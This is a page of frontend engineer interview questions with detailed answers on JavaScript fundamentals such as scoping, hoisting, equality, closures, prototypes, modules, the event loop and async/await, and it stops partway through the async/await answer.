Skip to content
Tech Interview Prep

Top 100 Frontend Engineer Interview Questions and Answers

The questions most likely to come up in your Frontend Engineer interview, ranked by likelihood, with senior-level answers that cover what the interviewer is listening for.

Curated: · Written: · Reviewed:

Reviewed 100Review pending 2

102 questions

Q&A-1What is the difference between var, let, and const, and when does it matter?

var, let, and const all create bindings; they differ on three axes: scope, what happens if you read the name before its declaration runs, and whether the binding can be reassigned.

  • var is function-scoped (global if at top level) and hoisted with the value undefined. Reading it before the assignment gives undefined, not an error.
  • let and const are block-scoped (any { }, including for, if, and try bodies) and were added in ES2015. They are hoisted but left uninitialized: the binding sits in a temporal dead zone (TDZ) from the top of the block until the declaration executes, and any access in that window throws ReferenceError.
  • const freezes the binding, not the value. const cfg = { retries: 3 } lets you write cfg.retries = 5; only cfg = {} throws. const also requires an initializer: const x; is a SyntaxError.
DeclarationScopeRead before declarationReassignableRedeclarable in same scope
varfunction / globalundefinedyesyes, silently
letblockReferenceError (TDZ)yesno, SyntaxError
constblockReferenceError (TDZ)nono, SyntaxError

The place this actually bites is closures in loops. var gives the loop one binding shared by every iteration:

const fns = [];
for (var i = 0; i < 3; i++) fns.push(() => i);
console.log(fns.map(f => f())); // [3, 3, 3]

Trace: i is a single function-scoped binding. The loop pushes three closures, each capturing that one binding. i++ runs until i === 3 and the condition fails. All three closures read i at call time, so all three print 3.

let in a for header creates a fresh binding per iteration (the spec's per-iteration environment), copying the previous value forward:

const fns = [];
for (let i = 0; i < 3; i++) fns.push(() => i);
console.log(fns.map(f => f())); // [0, 1, 2]

Two more differences worth knowing. typeof on a TDZ binding throws, whereas typeof on a name that was never declared returns "undefined", so typeof x is not a safe existence check for let/const. And at top level, var creates a property on globalThis while let/const do not:

var a = 1;
let b = 2;
console.log(globalThis.a, globalThis.b); // 1 undefined

Failure modes and how you catch them: the loop-closure bug shows up as every handler reporting the same index or the last value; a TDZ ReferenceError at startup usually means a module-level const used by a function that runs earlier than you assumed, with circular imports a common cause; silent var redeclaration masks a duplicate declaration that let would have flagged at parse time. ESLint's no-var and prefer-const catch most of this before review, and a test asserting each handler reports its own index catches the rest.

When it doesn't matter: inside a single function with no closures and no early reads, the three behave identically, so the choice is style. It matters when a binding is captured by a closure, read before its declaration, redeclared, or leaked onto the global object.

Curated: · Written: · Reviewed:

Q&A-13What is hoisting, and which declarations does it affect?

The 90-second answer

Hoisting is what you observe when a binding is created before the code that declares it runs. When the engine enters a function or module, it creates an environment record and instantiates a binding for every declaration in the body before executing the first statement. The declarations differ in whether that binding is initialized at the same moment.

DeclarationBinding created at entryInitialized at entryRead above its line
function f() {}yesyes: to the function objectworks
var xyesyes: to undefinedundefined
let / constyesno: temporal dead zoneReferenceError
class Cyesno: temporal dead zoneReferenceError

So "hoisted" is true of all four; "usable early" is true of one.

Trace it

console.log(typeof f);  // "function"
console.log(typeof g);  // "undefined"
console.log(typeof h);  // ReferenceError: Cannot access 'h' before initialization

function f() {}
var g = function () {};
let h = () => {};

At context entry the engine creates three bindings: f initialized to the function object, g initialized to undefined, h created but left uninitialized. Line 1 reads f → "function". Line 2 reads g → "undefined". Line 3 reads h while uninitialized → throws. Note typeof does not save you here: it only returns "undefined" for a reference that resolves to nothing, and h resolves to an uninitialized binding.

Why

ECMA-262's FunctionDeclarationInstantiation walks the body and calls CreateMutableBinding for each name. For var it follows with InitializeBinding to undefined; for function declarations it initializes the binding to the function object. Lexical declarations (let, const, class) get their binding created but no InitializeBinding until the declaration is evaluated: that gap is the temporal dead zone, and reading an uninitialized binding throws. V8 words it ReferenceError: Cannot access 'h' before initialization; SpiderMonkey says can't access lexical declaration 'h' before initialization. The message names the binding, and the stack points at the access, not the declaration.

Two consequences worth knowing: at top level, var creates a property on globalThis while let/const create bindings in the global declarative environment record, so globalThis.x is undefined for a top-level let x. And a block-level function declaration in sloppy mode gets an extra var-scoped binding via Annex B.3.3, initialized to undefined: calling it before the block runs throws TypeError, not ReferenceError.

When relying on it is right

Mutual recursion is the honest case: two function declarations that call each other, in either order, work because both bindings are initialized before any call. Keeping a module's public functions at the top and helpers below is the same trick and is fine.

The cost is that reading order stops telling you definition order. Two function declarations with the same name silently resolve to the last one, and a call above both gets the later body. And the TDZ is not just a lint concern: with circular ES module imports, module A's const is uninitialized while B's body runs, so B sees Cannot access 'X' before initialization instead of undefined. The classic if (typeof x === 'undefined') guard throws rather than falling through.

Declaring before use is the default; hoisting is the exception you take deliberately, for mutual recursion, not the one you discover in production.

Curated: · Written: · Reviewed:

Q&A-11When is loose equality acceptable, and what surprises does coercion cause?

Use === and !== by default. The one loose comparison worth keeping is x == null, which is true for exactly null and undefined and nothing else: one of the few cases ESLint's eqeqeq rule permits under "smart". Loose equality is also harmless when both operands are already the same primitive type, because the algorithm falls straight through to strict comparison; that's a property of the operands, not a reason to reach for ==. When NaN or -0 matter, use Object.is.

Why it behaves this way. == runs the Abstract Equality Comparison algorithm (IsLooselyEqual in current ECMA-262). In order: same type → compare as ===; null against undefined → true; number vs string → ToNumber the string; boolean → ToNumber; object vs primitive → ToPrimitive (valueOf, then toString) and recurse. Every surprise below is one of those steps firing.

// Node 20, ES2020+; identical in any current engine
const checks = [
  ["0 == ''",              0 == ""],
  ["0 === ''",             0 === ""],
  ["null == undefined",    null == undefined],
  ["null == 0",            null == 0],
  ["null >= 0",            null >= 0],
  ["NaN === NaN",          NaN === NaN],
  ["Object.is(NaN, NaN)",  Object.is(NaN, NaN)],
  ["Object.is(0, -0)",     Object.is(0, -0)],
  ["[] == false",          [] == false],
  ["[1] == 1",             [1] == 1],
];
console.table(checks);

Outputs, in order: true, false, true, false, true, false, true, false, true, true.

Two rows decide the answer. 0 == "" converts the string: ToNumber("") is 0, so 0 == 0. null == 0 never gets that far: the null/undefined rule fires first and returns false. But null >= 0 takes the relational path, which does convert, so it's true. a >= b is therefore not the negation of a < b when null is involved.

The failure mode I've actually hit: an inventory badge ran if (qty == false) render("no data"). qty came from a feed that sent a number, or "" when the field was omitted. 0 == false is true and "" == false is true, so a product with zero units rendered as "no data" instead of "out of stock". The fix was two strict tests (qty === 0 for out of stock, qty == null for missing) which separates the two states the loose check had merged.

The same trap sits in a few other places. switch uses strict equality, so case 0 won't match "". Array.prototype.includes, Map and Set use SameValueZero, so [NaN].includes(NaN) is true while [NaN].indexOf(NaN) is -1. And document.all == null is true even though document.all is an object: a spec carve-out for legacy pages, not a pattern to copy.

To check your own code: run the table above and confirm each comparison takes the branch you meant, then grep for == and justify every survivor as either == null or same-type operands.

Curated: · Written: · Reviewed:

Q&A-10How do you copy an object in JavaScript, and what goes wrong with the easy answers?

Most of the time you want a shallow copy, and the interesting part is knowing when that is wrong.

{ ...obj } and Object.assign({}, obj) copy own enumerable properties one level deep, string and symbol keys, and leave every nested object, array, Map, Set and class instance shared by reference. That is usually correct: spreading props, building an options object, updating one field of React state.

When you genuinely need a deep copy, the options are not equivalent:

  • structuredClone(obj): Node 17+, Chrome 98+, Firefox 94+, Safari 15.4+. Handles cycles, Date, Map, Set, RegExp, ArrayBuffer, typed arrays, Blob. Throws DataCloneError on functions, DOM nodes, symbols and WeakMap. It does not preserve the prototype: a class instance comes back as a plain object, and getters are evaluated into data properties.
  • JSON round trip: JSON.parse(JSON.stringify(obj)). Silently corrupts: Date becomes an ISO string, undefined properties vanish, NaN/Infinity become null, Map/Set/RegExp become {}, BigInt and cycles throw. Only safe for data you already know is JSON-shaped.
  • Hand-rolled recursion, or Object.create(Object.getPrototypeOf(obj)) plus Object.getOwnPropertyDescriptors, when you need the prototype and descriptors preserved.
const original = {
  name: "ada",
  address: { city: "London" },
  joined: new Date("2024-01-05T00:00:00Z"),
  tags: new Set(["admin"]),
  greet() { return "hi"; },
};

const shallow = { ...original };
shallow.address.city = "Leeds";
original.address.city;            // "Leeds" — same nested object

const viaJson = JSON.parse(JSON.stringify(original));
viaJson.joined;                   // "2024-01-05T00:00:00.000Z" — a string now
viaJson.tags;                     // {} — Set has no enumerable own properties
"greet" in viaJson;               // false

structuredClone(original);        // throws DataCloneError: greet could not be cloned

const { greet, ...data } = original;
const deep = structuredClone(data);
deep.address.city = "York";
original.address.city;            // "Leeds" — untouched
deep.joined instanceof Date;      // true
[...deep.tags];                   // ["admin"]
MethodNested objectsDateMap/SetFunctionsPrototype
spread / Object.assignsharedsame refsame refsame refkept
JSON round tripcopiedISO string{}droppedlost
structuredClonecopiedcopiedcopiedthrowslost

Three failure modes worth naming. Shared nested state: a form that resets by restoring a shallow-copied initial state keeps the edited nested address object, because the copy and the live state point at the same object. The reset looks fine until the next edit. structuredClone throwing at runtime: a class instance carrying methods is the usual trigger, and it only surfaces on the code path that clones it. JSON corruption: no error is raised, so a Date that became a string fails later at date.getTime().

Deep-cloning on every state update is also the wrong default. It is O(size) per update and breaks referential equality, so React.memo and useMemo see a new object and re-render the whole subtree. Replace only the branch that changed instead.

To check a copy is actually independent, mutate a nested field on the clone and assert the original is unchanged, and assert clone.address !== original.address. For structuredClone, wrap the call or lint against cloning objects that carry methods. Know how deep your copy goes before you rely on it.

Curated: · Written: · Reviewed:

Q&A-16How do optional chaining and nullish coalescing change defensive code, and where do they hide bugs?

The 90-second answer. Both operators make "absent" a value instead of an exception. ?. evaluates its left side; if that value is null or undefined, the whole chain to its right is skipped and the expression is undefined. ?? returns its right side only when the left is null or undefined, not for 0, '', false, or NaN. So the rule I state up front: use ?. for data that is genuinely optional, use ?? when only null/undefined should trigger the default, and validate at the boundary so a missing required field is an error rather than a silent default. Assumption: ES2020+ JavaScript or TypeScript in strict mode.

Mechanism: why ?. hides bugs. The guard protects exactly one link. a?.b.c short-circuits only if a is nullish; if a is an object but a.b is undefined, .c still throws. When it does short-circuit, the undefined propagates through the entire remaining chain: including function arguments, which are never evaluated.

const user = null;
user?.profile.getName();   // undefined — getName never called

const user2 = {};
user2?.profile.getName();  // TypeError: Cannot read properties of undefined (reading 'getName')

First line: user is nullish, so the whole chain is skipped and the result is undefined. Second: user2 is {}, non-nullish, so user2.profile is undefined and .getName() throws. The ?. guarded user2, not profile.

Argument short-circuit is the part people miss:

let calls = 0;
const log = (x) => { calls++; return x; };
const obj = null;
obj?.method(log('hi'));   // calls === 0, log never runs

The bug that bites. ?. converts a programming error into a plausible value. A typo'd field returns undefined, ?? supplies a default, and the wrong number flows downstream with no error and no log.

const order = { items: [{ sku: 'A1', price: 0 }] };
order?.items?.[0]?.price  ?? 19.99;   // 0      — correct
order?.items?.[0]?.prices ?? 19.99;   // 19.99  — typo, silent

Trace: order is non-nullish, so items is the array; [0] is the object; price is 0; 0 ?? 19.99 is 0. Second line: prices is undefined; undefined ?? 19.99 is 19.99.

ExpressionResultWhy
price ?? 19.99, price = 000 is not nullish
price || 19.99, price = 019.990 is falsy
price ?? 19.99, price = undefined19.99default fires

When not to use. Don't chain ?. through data that must exist: that's where the crash belongs. Don't use ?? to paper over a missing required field. ?? cannot be mixed with || or && without parentheses; it's a SyntaxError. Prefer boundary validation (a schema parse) so the interior can assume shape.

Detection. Unit tests that push 0, '', false, null, and undefined through each default and assert which fall back; TypeScript strict null checks so ?. on a non-optional field is flagged; a lint rule against ?. on required paths.

Curated: · Written: · Reviewed:

Q&A-17Where do destructuring and spread help, and what are their limits?

Destructuring is a binding syntax, not a validation step. const { totalPrice } = order is sugar for reading order.totalPrice and binding it to a local totalPrice. A missing or renamed property gives you undefined, silently. That is the limit in one line: it reads the shape, it never checks it. Spread is a shallow copy of own enumerable properties: { ...order } copies top-level keys by value, but every nested object or array is still the same reference.

Where they earn their place: destructuring at the top of a function documents which fields it depends on and puts defaults in one line. Spread builds the next state in a reducer, or the next props object, without touching the previous one.

Mechanism. A default fires only when the extracted value is undefined, not null, not 0, not ''. The initializer runs when the property is absent or explicitly undefined:

const { count = 10 } = { count: null }; // null — default skipped
const { total = 0 } = {};               // 0 — property absent

So a default is not a null-guard. If your API sends null for a missing number, the default never runs and null flows into arithmetic.

Nested destructuring is worse: it throws. const { a: { b } } = {} is a TypeError, because it reads undefined.b. Deep destructuring of external data is a crash waiting for a missing intermediate.

Spread's mechanism is the shallow copy, so nested references are shared:

const a = { user: { name: 'ada' }, tags: ['x'] };
const b = { ...a };
b.user.name = 'grace';
a.user.name;   // 'grace' — same nested object
b.tags.push('y');
a.tags;        // ['x', 'y'] — same array

That is fine when you want a new top-level object over shared data (the common reducer case) and a bug when you assumed independence. Spread also copies own enumerable properties only, so it drops the prototype: { ...new Money(5) } is a plain object with no format() method, and non-enumerable properties do not come along.

Array spread and array destructuring go through the iterator protocol, not indices. That matters for generators, because destructuring consumes from the iterator:

function* gen() { yield 1; yield 2; yield 3; }
const it = gen();
const [first] = it;   // 1, consumes one value
const [second] = it;  // 2, not 1

Trade-offs, when spread is the wrong tool.

ApproachDepthPrototypeCyclesCost
{ ...a }shallowlostn/acheap
Object.assign({}, a)shallowlostn/acheap; mutates target, fires setters
structuredClone(a)deeplosthandledexpensive; no functions or DOM nodes
JSON.parse(JSON.stringify(a))deeplostthrowsdrops Date to string, undefined, functions

Pick spread when you want a new top-level object over shared nested data and you control the mutation discipline. Pick structuredClone when you need real independence and the data is plain. Reach for Immer or an immutable library when you want structural sharing so unchanged subtrees keep their identity for memoization: spread hands you a new object every time, which defeats React.memo on large trees.

Failure modes to name. A renamed field becomes undefined and renders as NaN or blank. A null slips past a default. Deep destructuring throws on a missing intermediate. A shallow copy leaks a nested mutation back to the source. Detect them by validating at the boundary (a schema check (Zod, io-ts) that fails loudly on a missing required field) rather than trusting destructuring to notice.

Curated: · Written: · Reviewed:

Q&A-12Which array methods mutate, and why does that matter in a component?

Answer in the first minute

Nine methods mutate their receiver: push, pop, shift, unshift, splice, sort, reverse, fill, copyWithin.

MethodMutatesReturns
push, pop, shift, unshift, spliceyesnew length, or the removed element(s)
sort, reverse, fill, copyWithinyesthe same array reference
map, filter, slice, concat, flat, flatMapnoa new array
toSorted, toReversed, toSpliced, with (ES2023)noa new array

It matters because React compares state by reference with Object.is, not by contents. Change an array in place and the contents move while the reference does not, so React bails out of the re-render even though the data changed. The interactive methods are the trap: sort and reverse hand back the same reference you passed in, so setRows(rows.sort(cmp)) looks like new state and is the identical object.

// React 18, ES2023
const [rows, setRows] = useState([{ n: 'b' }, { n: 'a' }]);

setRows(rows.sort((a, b) => a.n.localeCompare(b.n)));      // same reference -> no re-render
setRows([...rows].sort((a, b) => a.n.localeCompare(b.n))); // new reference -> renders
setRows(rows.toSorted((a, b) => a.n.localeCompare(b.n)));  // ES2023, same effect

toSorted, toReversed, toSpliced and with ship in ES2023: Chrome 110+, Firefox 115+, Safari 16.4+, Node 20+. On older runtimes, spread into a new array first.

Failure modes worth naming

Reducers are the worst place for a mutation. An in-place push returns the same state object, so React bails out, and under StrictMode in dev the reducer runs twice, pushing the same element twice while the render still never happens.

function reducer(state, action) {
  if (action.type === 'add') {
    state.items.push(action.item);  // same reference, and StrictMode pushes twice
    return state;
  }
  return { ...state, items: [...state.items, action.item] };
}

Two related ones: push returns the new length, so setItems(items.push(x)) stores a number; and mutating an array passed down as a prop hits the parent's copy too, so memoised children skip updating.

Detection is the same check in both cases. Assert on the reference in a debug effect, console.assert(prev !== next), and watch a useEffect keyed on the array. If the effect does not fire when the data changed, the reference held. The React DevTools Profiler shows the parent rendering while the list child does not, which is the same signal from the other side.

Where in-place mutation is fine, and what copying costs

Mutation is only wrong when something compares references. Arrays you own outright are cheaper and clearer mutated in place: a scratch buffer inside one function, rows accumulated with push while parsing a file, typed arrays sorted in place in audio or graphics code. Immer buys the same mutation syntax while producing new references, at the cost of a proxy around every write.

The copy is cheap next to the work you were already doing. A shallow copy is one allocation plus n pointer writes, O(n); a sort is O(n log n). At n = 100,000 that is 100,000 pointer copies against roughly 1.7M comparisons, so the copy is noise. It stops being noise when it runs per frame on a large array, where the fresh allocation each tick also adds GC pressure.

Curated: · Written: · Reviewed:

Q&A-2Explain closures with an example an interviewer would accept.

Core answer (first 60–120 seconds)

A closure is a function plus the lexical environment it was defined in. The function keeps a live reference to those variables, not a copy, so it can read and mutate them after the outer function has returned. In JavaScript (ES2020+):

function makeCounter() {
  let count = 0;
  return function () { return ++count; };
}

const next = makeCounter();
next();  // 1
next();  // 2

const other = makeCounter();
other(); // 1

Trace it the way the engine runs it: makeCounter() creates a scope with count = 0 and returns the inner function, which holds a reference to that scope. next() increments the same count to 1, then 2. A second makeCounter() call creates a fresh scope, so other() starts at 1. The two counters don't share state: that isolation is the whole point.

Because the reference is live, the closure also sees later reassignments of the captured variable:

let label = "a";
const read = () => label;
label = "b";
read(); // "b"

read closes over the binding label, not the string "a", so it returns the current value.

The classic gotcha is var vs let in a loop:

for (var i = 0; i < 3; i++) setTimeout(() => console.log(i), 0); // 3 3 3
for (let i = 0; i < 3; i++) setTimeout(() => console.log(i), 0); // 0 1 2

var is function-scoped: one i binding shared by all three callbacks, read after the loop finishes at 3. let creates a new binding per iteration, so each callback closes over its own i.

Trade-offs, when not to use a closure

  • vs a class: a class with a #count private field gives the same encapsulation and is clearer once you have several methods and fields. Closures win for one small function.
  • vs module state: a module-level variable is a singleton, shared by every importer. Use it when state is genuinely global; use a closure when each caller needs its own.
  • vs explicit arguments: passing state in (a pure function) is easier to test and reason about. Reach for a closure only when you need to hide state, not just carry it.

Failure modes

  • Shared binding: two closures created by the same call share one binding, so a mutation through one is visible through the other. That is the flip side of live binding: correct, but a bug when you expected independent state. Fix it by calling the factory again, as other does above.
  • Retention: the closure keeps the entire enclosing scope alive. A tiny callback that touches one variable can pin a large array. Detect it with a heap snapshot showing the scope retained.

Curated: · Written: · Reviewed:

Q&A-3How is the value of this determined in JavaScript?

this is decided at the call site, not where the function was written. Read the call expression and you have the answer. The one exception is arrow functions, which have no this of their own and capture the enclosing scope's this when they are defined.

Assume strict mode, ES modules and any "use strict" file, because that changes the plain-call case. In sloppy mode a plain call sets this to globalThis; in strict mode it is undefined.

Four call forms cover almost everything:

Call formthis
fn()undefined (strict) / globalThis (sloppy)
obj.fn()obj: the receiver before the dot
new Fn()the freshly created instance
fn.call(x) / fn.apply(x) / fn.bind(x)x

bind returns a new function whose this is fixed; a later call on it cannot override that.

Arrow functions skip all of this. They have no own this, so this inside them is whatever this was in the scope where the arrow was created. That is why they are the right tool for callbacks that need the surrounding instance, and the wrong tool for an object method you want to be re-bindable.

Here is the whole thing in one fixture, strict mode:

"use strict";

const counter = {
  count: 0,
  increment() { return ++this.count; },
  makeIncrementer() {
    return () => ++this.count;   // arrow: closes over counter
  },
};

console.log(counter.increment());                    // 1
const inc = counter.increment;
try { inc(); } catch (e) { console.log(e.constructor.name); }  // TypeError
console.log(counter.increment.call({ count: 10 }));  // 11
const arrow = counter.makeIncrementer();
console.log(arrow());                                // 2

Trace, in order:

  • counter.increment(): receiver is counter, ++this.count takes count from 0 to 1.
  • inc(): plain call, strict mode, so this is undefined; ++undefined.count throws TypeError.
  • counter.increment.call({ count: 10 }): this is the literal, count goes 10 → 11.
  • arrow(): the arrow captured this === counter at creation; counter.count goes 1 → 2.

The failure mode this catches is the detached handler. A class method passed straight to addEventListener or a timer loses its receiver, so the first line that reads this.something throws TypeError: Cannot read properties of undefined (reading 'something'). The stack points at the method, not the call site, which is what makes it confusing. Fix it by binding at the point of use (this.handleClick = this.handleClick.bind(this) in the constructor, or a class field handleClick = () => {...}) or by wrapping the call: el.addEventListener('click', () => this.handleClick()).

Detection is one line: pull the method off the object and call it bare. If it still works, it does not depend on its receiver; if it throws, it does. Do that before shipping any method you pass as a callback.

Curated: · Written: · Reviewed:

Q&A-4How does prototypal inheritance work, and how do classes relate to it?

Every object has an internal [[Prototype]] link. Property reads walk that link: check the object, then its prototype, then that prototype's prototype, until the key is found or the chain ends at null. Writes never walk: obj.x = 1 creates an own property on obj (or throws in strict mode if a setter on the chain rejects it). Classes are a syntax layer over exactly this: a class method is defined once on Class.prototype, and new creates an object whose [[Prototype]] is that prototype.

What new and extends actually do

new Dog('Rex') does four things: create {}, set its [[Prototype]] to Dog.prototype, run Dog with this bound to it, return it (unless the constructor returns an object).

class Dog extends Animal wires two links:

  • Dog.prototype.[[Prototype]] = Animal.prototype: instance lookups fall through to parent methods.
  • Dog.[[Prototype]] = Animal: static methods inherit too.

super.speak() inside a method resolves via the method's [[HomeObject]] (the object the method was defined on, Dog.prototype), then looks up speak on Object.getPrototypeOf(Dog.prototype) = Animal.prototype, and calls it with this still bound to the instance.

Trace

class Animal {
  constructor(name) { this.name = name; }
  speak() { return `${this.name} makes a sound`; }
}
class Dog extends Animal {
  constructor(name) { super(name); this.legs = 4; }
  speak() { return `${super.speak()} — woof`; }
}
const d = new Dog('Rex');
d.speak(); // 'Rex makes a sound — woof'
  1. new Dog('Rex') → {} with [[Prototype]] = Dog.prototype.
  2. super('Rex') runs Animal with this = that object → this.name = 'Rex'.
  3. this.legs = 4 → own property.
  4. d.speak(), not own. Walk: d → Dog.prototype (found). Runs Dog.prototype.speak.
  5. super.speak() → [[HomeObject]] is Dog.prototype, so look up speak on Animal.prototype → 'Rex makes a sound'.
  6. Append ' — woof'.

Result: 'Rex makes a sound — woof'.

Where members live (1,000 instances)

MemberLives onCopies
class methodDog.prototype1
instance field (this.name)instance1,000
static methodDog (constructor)1

Trade-offs

  • Object.create(proto) gives the same delegation without a constructor or new. Use it when you want a plain object inheriting from another, or to build a chain manually. You lose instanceof against a class and any constructor to run initialization.
  • Factory functions with closures give real private state and avoid this binding bugs entirely, but each instance carries its own copy of every method unless you hoist them to a shared object: that is the memory cost the prototype avoids.
  • Classes are the right default when you need new, instanceof, and shared methods. The footgun is detached methods: const f = d.speak; f() loses this and throws in strict mode. Bind at the call site or use arrow fields if you need to pass methods around.
  • Extending built-ins is justified when you need a specialized collection with extra invariants (a SortedArray, say). It is risky because built-in methods like Array.prototype.map use SpeciesConstructor to build the result, if your subclass constructor has a different signature, map calls it with a length and produces garbage. Override Symbol.species or don't extend.

Failure mode to name: adding a method to Array.prototype without Object.defineProperty(..., { enumerable: false }) makes it show up in every for...in loop and Object.keys on arrays across the page. That is the concrete reason to avoid mutating built-in prototypes, not a style preference, a global namespace collision.

Curated: · Written: · Reviewed:

Q&A-14Which practical differences between ES modules and CommonJS affect a frontend build?

Core answer

ESM and CommonJS differ in when the module graph is resolved, and that one difference drives everything a build cares about. ESM's import/export are declarations, so a bundler reads the whole graph before running any code and can drop exports nothing references. CommonJS's require() is a function call, so exports are only known at runtime and tree shaking degrades to guesswork.

Two consequences matter at build time: bundle size and binding semantics.

Why static analysis works

import { a } from './m' names a binding the bundler can follow without executing m. Rollup and webpack build the graph, mark unreferenced exports, and with scope hoisting concatenate modules into one scope instead of wrapping each in a function. require('./m') returns whatever module.exports holds at that moment; the bundler cannot know which properties you'll read, so it keeps the module whole.

Bindings: live vs snapshot

// counter.mjs
export let count = 0;
export function increment() { count++; }

// main.mjs
import { count, increment } from './counter.mjs';
increment();
console.log(count); // 1
// counter.cjs
let count = 0;
function increment() { count++; }
module.exports = { count, increment };

// main.cjs
const { count, increment } = require('./counter.cjs');
increment();
console.log(count); // 0

The ESM import is a live view of count, so it prints 1. The CJS destructure copies count's value at require time; increment mutates the module-local variable, not the copy, so it prints 0. This is also why circular imports behave differently: ESM hoists declarations and throws a TDZ error on premature access, while CJS hands you a partially populated module.exports.

Where the build actually differs

ESMCommonJS
Resolutionstatic, pre-executionruntime
Bindingslivesnapshot at require
Tree shakingpossibleunreliable
Loadingasync, deferredsync
Top-level awaityesno
this at top levelundefinedmodule.exports
__dirnamevia import.meta.urlavailable

When CommonJS is the right call, and when ESM still fails

Plenty of dependencies only ship CJS (older Node tooling, Jest transforms, some CLI packages) and forcing ESM through a bundler's interop layer adds a wrapper per module. Dual-package maintenance is its own cost: shipping both dist/index.cjs and dist/index.mjs risks the dual-package hazard, where a singleton is instantiated twice, instanceof fails across the boundary, and state diverges. Detection is a bundle analyzer showing two copies of the same module.

ESM does not guarantee tree shaking. A package without "sideEffects": false in its package.json is treated as side-effectful by webpack, so nothing is dropped. Barrel files (index.js re-exporting 40 modules) pull the whole barrel unless the package declares side effects. import * as ns, re-export chains, and top-level side effects all defeat it. Hypothetically, a barrel of 40 modules where you import one named export can add tens of kilobytes if side effects aren't declared: verify with webpack-bundle-analyzer or source-map-explorer rather than assuming.

What I'd check

Ship ESM where the dependency supports it, but confirm the win: run the analyzer, look for CJS modules in the graph, and check sideEffects on the packages you import. If a dependency is CJS-only, keep it and accept the wrapper rather than rewriting it.

Curated: · Written: · Reviewed:

Q&A-15What is the iterator protocol, and where would you use a generator?

The 90-second answer

Assume ES2015+ (Node 4+, any current browser). The iterator protocol is a contract: an object is iterable if it has a [Symbol.iterator] method returning an iterator. An object with a next() method that returns { value, done }. done: false means value is the next element; done: true means the sequence is finished and value is whatever the iterator returned (usually undefined). for...of, spread, destructuring, Array.from, the Map/Set constructors and yield* all consume that contract, so anything implementing it plugs into all of them at once.

A generator is a function* that returns an iterator without you writing next() by hand. The engine suspends the frame at each yield and resumes it on the next next() call, keeping local variables alive across the suspension. That suspension is the whole point: you produce one element per pull, so memory is O(1) in the sequence length rather than O(n).

Where I'd use one

  • Lazy pipelines over large or unbounded data: reading a 2 GB log line by line. fs.readFileSync materialises the whole file (~2 GB resident, plus a string copy); a generator over fs.createReadStream holds one chunk, and Node's default highWaterMark is 64 KiB, so resident memory stays flat regardless of file size.
  • Paginated APIs: yield one page per request, so the caller stops pulling when it has enough and you never fetch page 40.
  • Custom collections: implement [Symbol.iterator] directly when traversal is trivial and you don't want generator overhead.

Code and trace

function* pageIds(total, size) {
  for (let start = 0; start < total; start += size) {
    yield { start, end: Math.min(start + size, total) };
  }
}
const pages = pageIds(5, 2);
pages.next(); // { value: { start: 0, end: 2 }, done: false }
pages.next(); // { value: { start: 2, end: 4 }, done: false }
pages.next(); // { value: { start: 4, end: 5 }, done: false }
pages.next(); // { value: undefined, done: true }

Trace: start=0 < 5 → yield {0,2}; start=2 → {2,4}; start=4 → {4,5}; start=6 fails the guard, the function returns, and every later next() returns { value: undefined, done: true }.

That last line is the trap. A generator object is a one-shot iterator: [...pages] after the calls above yields []. A custom iterable is not: [Symbol.iterator]() runs fresh each time:

class Ring {
  constructor(items) { this.items = items; }
  [Symbol.iterator]() {
    let i = 0;
    const items = this.items;
    return {
      next: () => i < items.length
        ? { value: items[i++], done: false }
        : { value: undefined, done: true },
    };
  }
}
const r = new Ring(['a', 'b']);
[...r]; // ['a', 'b']
[...r]; // ['a', 'b'] — new iterator each time
Re-iterableLazy
Arrayyesno
Generator objectnoyes
Custom iterableyesyes

Failure modes

  • Iterating a generator twice: the second pass is empty. Detect it with a test that spreads the same generator twice.
  • [...infiniteGenerator()] never terminates: spread drains until done: true.
  • Breaking out of a for...of calls the iterator's return(), which runs finally blocks and closes the generator; a hand-rolled while (!(r = it.next()).done) loop does not, so cleanup is skipped.

Curated: · Written: · Reviewed:

Q&A-5Explain the event loop. In what order do a promise callback, a zero-delay timeout, and a paint happen?

Short answer: synchronous code runs to completion, then the microtask queue drains completely (promise callbacks), then the browser gets a rendering opportunity (rAF callbacks, style, layout, paint), then the next macrotask runs (the zero-delay timeout). So the order is promise → paint → timeout.

Why. The HTML standard defines the event loop as: pick one task from a task queue and run it to completion; perform a microtask checkpoint (drain the microtask queue until empty); if this is a rendering opportunity, run the rendering steps; repeat. Promise reactions (then/catch/finally) and queueMicrotask callbacks are microtasks. setTimeout callbacks are tasks. Rendering is not a task: it is a step the loop may take between tasks, and the spec explicitly does not guarantee it every turn.

Trace. Chrome 120 / Node 20:

console.log('1 sync');
setTimeout(() => console.log('4 timeout'), 0);
Promise.resolve().then(() => console.log('2 promise'));
requestAnimationFrame(() => console.log('3 raf'));
console.log('1b sync end');

Output in a visible tab: 1 sync, 1b sync end, 2 promise, 3 raf, 4 timeout. The paint happens between 3 raf and 4 timeout.

Step by step:

  1. The script task runs: logs 1 sync, queues the timeout task, queues the promise microtask, registers the rAF callback, logs 1b sync end.
  2. Microtask checkpoint: the promise reaction runs → 2 promise. The queue is now empty.
  3. Rendering opportunity: rAF callbacks run → 3 raf, then style, layout, paint.
  4. Next task: the timeout → 4 timeout.

The caveat that decides real behaviour. Rendering is a rendering opportunity, not a guarantee. In a background tab or a headless browser with no compositor, step 3 is skipped and 4 timeout prints before any paint. On a 60 Hz display a frame is ~16.7 ms; on 120 Hz, ~8.3 ms. A setTimeout(fn, 0) is not "now": the spec clamps nested timeouts deeper than 5 levels to a 4 ms minimum, and browsers clamp the first few to ~1 ms.

Failure mode: microtask starvation. The microtask queue drains to empty before the loop moves on, so a promise chain that re-queues itself never yields. This is the classic frozen-spinner bug: a recursive Promise.resolve().then(...) keeps the checkpoint running, the rendering step never executes, and the tab stops painting. Detect it with a Performance profile: one long task with no frames, and the microtask count climbing. Fix by breaking the chain with setTimeout(..., 0), scheduler.postTask, or requestIdleCallback for the heavy part.

Choosing. Microtasks for work that must complete before the next paint (state cleanup, resolving a promise chain). Macrotasks or requestIdleCallback for work that can wait a frame. requestAnimationFrame for anything that reads layout or writes visual state, because it runs right before paint.

Curated: · Written: · Reviewed:

Q&A-6What does async and await change compared with then chains, and what stays the same?

The 90-second answer

await is sugar over .then. Both consume the same promise, both schedule the continuation on the microtask queue, both leave the thread free, and both turn a thrown error into a rejected promise. What changes is the shape of the code: await unwinds the async function, so if, for and try/catch/finally work directly instead of being expressed as callbacks. An async function still returns a promise, and its body still runs synchronously up to the first await.

What stays the same

  • The value model. await x is specified as Promise.resolve(x) followed by a then-style continuation. Non-promises get wrapped, thenables get assimilated.
  • Scheduling. Neither blocks the thread. The continuation runs as a microtask after the current synchronous run finishes.
  • Rejection propagation. A rejection nobody handles is an unhandled rejection in both styles. On Node 15+ that terminates the process by default.
